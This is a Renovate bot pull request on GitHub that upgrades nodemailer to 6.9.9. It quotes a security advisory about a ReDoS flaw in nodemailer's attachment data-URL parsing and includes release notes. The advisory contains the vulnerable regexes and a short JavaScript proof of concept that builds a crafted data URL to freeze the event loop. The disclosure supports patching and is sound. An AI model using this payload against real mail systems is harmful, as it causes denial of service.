Skip to content

fix(deps): update dependency nodemailer to v6.9.9 [security]#179

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-nodemailer-vulnerability
Open

fix(deps): update dependency nodemailer to v6.9.9 [security]#179
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-nodemailer-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 1, 2024

Copy link
Copy Markdown

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 6.7.06.9.9 age confidence

nodemailer ReDoS when trying to send a specially crafted email

GHSA-9h6g-pr28-7cqp

More information

Details

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();

   // Create a malicious data URL that will cause excessive backtracking
   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';

   // Call the vulnerable method with the crafted input
   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}

await exploit();
Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nodemailer/nodemailer (nodemailer)

v6.9.9

Compare Source

Bug Fixes
  • security: Fix issues described in GHSA-9h6g-pr28-7cqp. Do not use eternal matching pattern if only a few occurences are expected (dd8f5e8)
  • tests: Use native node test runner, added code coverage support, removed grunt (#​1604) (be45c1b)

v6.9.8

Compare Source

Bug Fixes
  • punycode: do not use native punycode module (b4d0e0c)

v6.9.7

Compare Source

Bug Fixes
  • customAuth: Do not require user and pass to be set for custom authentication schemes (fixes #​1584) (41d482c)

v6.9.6

Compare Source

Bug Fixes
  • inline: Use 'inline' as the default Content Dispostion value for embedded images (db32c93)
  • tests: Removed Node v12 from test matrix as it is not compatible with the test framework anymore (7fe0a60)

v6.9.5

Compare Source

Bug Fixes
  • license: Updated license year (da4744e)

v6.9.4

Compare Source

  • Renamed SendinBlue to Brevo

v6.9.3

Compare Source

  • Specified license identifier (was defined as MIT, actual value MIT-0)
  • If SMTP server disconnects with a message, process it and include as part of the response error

v6.9.2

Compare Source

  • Fix uncaught exception on invalid attachment content payload

v6.9.1

Compare Source

Bug Fixes
  • addressparser: Correctly detect if user local part is attached to domain part (f2096c5)

v6.9.0

Compare Source

  • Do not throw if failed to resolve IPv4 addresses
  • Include EHLO extensions in the send response
  • fix sendMail function: callback should be optional

v6.8.0

Compare Source

  • Add DNS timeout (huksley)
  • add dns.REFUSED (lucagianfelici)

v6.7.8

Compare Source

  • Allow to use multiple Reply-To addresses

v6.7.7

Compare Source

  • Resolver fixes

v6.7.6

Compare Source

v6.7.5

Compare Source

  • No changes, pushing a new README to npmjs.org

v6.7.4

Compare Source

  • Ensure compatibility with Node 18
  • Replaced Travis with Github Actions

v6.7.3

Compare Source

  • Typo fixes
  • Added stale issue automation fir Github
  • Add Infomaniak config to well known service (popod)
  • Update Outlook/Hotmail host in well known services (popod)
  • fix: DSN recipient gets ignored (KornKalle)

v6.7.2

Compare Source

  • Fix proxies for account verification

v6.7.1

Compare Source

  • fix verify on ses-transport (stanofsky)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies label Feb 1, 2024
@renovate renovate Bot changed the title fix(deps): update dependency nodemailer to v6.9.9 [security] fix(deps): update dependency nodemailer to v6.9.9 [security] - autoclosed Apr 3, 2024
@renovate renovate Bot closed this Apr 3, 2024
@renovate
renovate Bot deleted the renovate/npm-nodemailer-vulnerability branch April 3, 2024 13:21
@renovate renovate Bot changed the title fix(deps): update dependency nodemailer to v6.9.9 [security] - autoclosed fix(deps): update dependency nodemailer to v6.9.9 [security] Apr 3, 2024
@renovate renovate Bot reopened this Apr 3, 2024
@renovate
renovate Bot restored the renovate/npm-nodemailer-vulnerability branch April 3, 2024 16:37
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from b7f8239 to d9fc951 Compare April 3, 2024 16:38
@renovate renovate Bot changed the title fix(deps): update dependency nodemailer to v6.9.9 [security] fix(deps): update dependency nodemailer to v6.9.9 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/npm-nodemailer-vulnerability branch March 27, 2026 00:54
@renovate renovate Bot changed the title fix(deps): update dependency nodemailer to v6.9.9 [security] - autoclosed fix(deps): update dependency nodemailer to v6.9.9 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from d9fc951 to 9964af3 Compare March 30, 2026 17:59
@renovate renovate Bot changed the title fix(deps): update dependency nodemailer to v6.9.9 [security] fix(deps): update dependency nodemailer to v6.9.9 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title fix(deps): update dependency nodemailer to v6.9.9 [security] - autoclosed fix(deps): update dependency nodemailer to v6.9.9 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 9964af3 to 7b9d1be Compare April 27, 2026 21:19
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants